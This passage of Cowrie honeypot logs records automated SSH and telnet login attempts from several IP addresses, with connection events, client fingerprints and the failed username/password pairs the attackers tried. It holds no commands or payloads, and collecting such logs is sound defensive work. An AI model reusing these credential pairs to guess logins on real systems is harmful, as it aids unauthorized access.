0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:25.373961Z","src_ip":"45.156.87.204","session":"d711d47c8806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:25.688472Z","src_ip":"45.156.87.204","session":"d711d47c8806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":46968,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0184664a92","protocol":"ssh","message":"New connection: 94.26.106.229:46968 (159.203.135.109:22) [session: 6d0184664a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:26.687888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:26.692756Z","src_ip":"94.26.106.229","session":"6d0184664a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:26.777552Z","src_ip":"45.156.87.204","session":"d711d47c8806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:26.782782Z","src_ip":"94.26.106.229","session":"6d0184664a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:27.048694Z","src_ip":"94.26.106.229","session":"6d0184664a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.139557Z","src_ip":"94.26.106.229","session":"6d0184664a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"c25424fe51ec","protocol":"telnet","message":"New connection: 152.42.224.71:37442 (10.17.0.5:23) [session: c25424fe51ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.553185Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":46978,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b38900235fa","protocol":"ssh","message":"New connection: 94.26.106.229:46978 (159.203.135.109:22) [session: 6b38900235fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.883035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.886942Z","src_ip":"94.26.106.229","session":"6b38900235fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34598,"dst_ip":"159.203.135.109","dst_port":22,"session":"34be7fed2d6e","protocol":"ssh","message":"New connection: 45.156.87.204:34598 (159.203.135.109:22) [session: 34be7fed2d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.939562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.943883Z","src_ip":"45.156.87.204","session":"34be7fed2d6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:28.973990Z","src_ip":"94.26.106.229","session":"6b38900235fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:29.026499Z","src_ip":"45.156.87.204","session":"34be7fed2d6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"1234","message":"login attempt [bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:29.239231Z","src_ip":"94.26.106.229","session":"6b38900235fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:29.274971Z","src_ip":"45.156.87.204","session":"34be7fed2d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:30.363383Z","src_ip":"45.156.87.204","session":"34be7fed2d6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:30.447084Z","src_ip":"94.26.106.229","session":"6b38900235fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37450,"dst_ip":"10.17.0.5","dst_port":23,"session":"d905d2a67cec","protocol":"telnet","message":"New connection: 152.42.224.71:37450 (10.17.0.5:23) [session: d905d2a67cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:31.437150Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":46984,"dst_ip":"159.203.135.109","dst_port":22,"session":"155676a57957","protocol":"ssh","message":"New connection: 94.26.106.229:46984 (159.203.135.109:22) [session: 155676a57957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:31.534943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:31.539430Z","src_ip":"94.26.106.229","session":"155676a57957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:31.623382Z","src_ip":"94.26.106.229","session":"155676a57957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:31.875388Z","src_ip":"94.26.106.229","session":"155676a57957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.1372652053833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.061905Z","src_ip":"152.42.224.71","session":"4b39a2d55fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45202,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e8e48b2f3c","protocol":"ssh","message":"New connection: 45.156.87.204:45202 (159.203.135.109:22) [session: 69e8e48b2f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.462973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.468162Z","src_ip":"45.156.87.204","session":"69e8e48b2f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.546812Z","src_ip":"45.156.87.204","session":"69e8e48b2f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.867743Z","src_ip":"45.156.87.204","session":"69e8e48b2f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:32.961911Z","src_ip":"94.26.106.229","session":"155676a57957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37454,"dst_ip":"10.17.0.5","dst_port":23,"session":"8add63cafe71","protocol":"telnet","message":"New connection: 152.42.224.71:37454 (10.17.0.5:23) [session: 8add63cafe71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:33.052706Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":50454,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d8c3af7133c","protocol":"ssh","message":"New connection: 94.26.106.229:50454 (159.203.135.109:22) [session: 9d8c3af7133c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:33.718520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:33.723254Z","src_ip":"94.26.106.229","session":"9d8c3af7133c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:33.806873Z","src_ip":"94.26.106.229","session":"9d8c3af7133c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:33.951521Z","src_ip":"45.156.87.204","session":"69e8e48b2f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"p@ssw0rd","message":"login attempt [zabbix/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:34.059103Z","src_ip":"94.26.106.229","session":"9d8c3af7133c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37456,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bfb285add90","protocol":"telnet","message":"New connection: 152.42.224.71:37456 (10.17.0.5:23) [session: 1bfb285add90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:34.601268Z"}
{"eventid":"cowrie.session.closed","duration":120.00170946121216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:34.789183Z","src_ip":"152.42.224.71","session":"39bb431a5778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:35.145340Z","src_ip":"94.26.106.229","session":"9d8c3af7133c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":50470,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b11dbb28486","protocol":"ssh","message":"New connection: 94.26.106.229:50470 (159.203.135.109:22) [session: 8b11dbb28486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:35.974237Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45210,"dst_ip":"159.203.135.109","dst_port":22,"session":"abbf156b57dc","protocol":"ssh","message":"New connection: 45.156.87.204:45210 (159.203.135.109:22) [session: abbf156b57dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.022000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.069588Z","src_ip":"94.26.106.229","session":"8b11dbb28486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.072929Z","src_ip":"94.26.106.229","session":"8b11dbb28486","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:36.147891Z","src_ip":"45.156.87.204","session":"abbf156b57dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 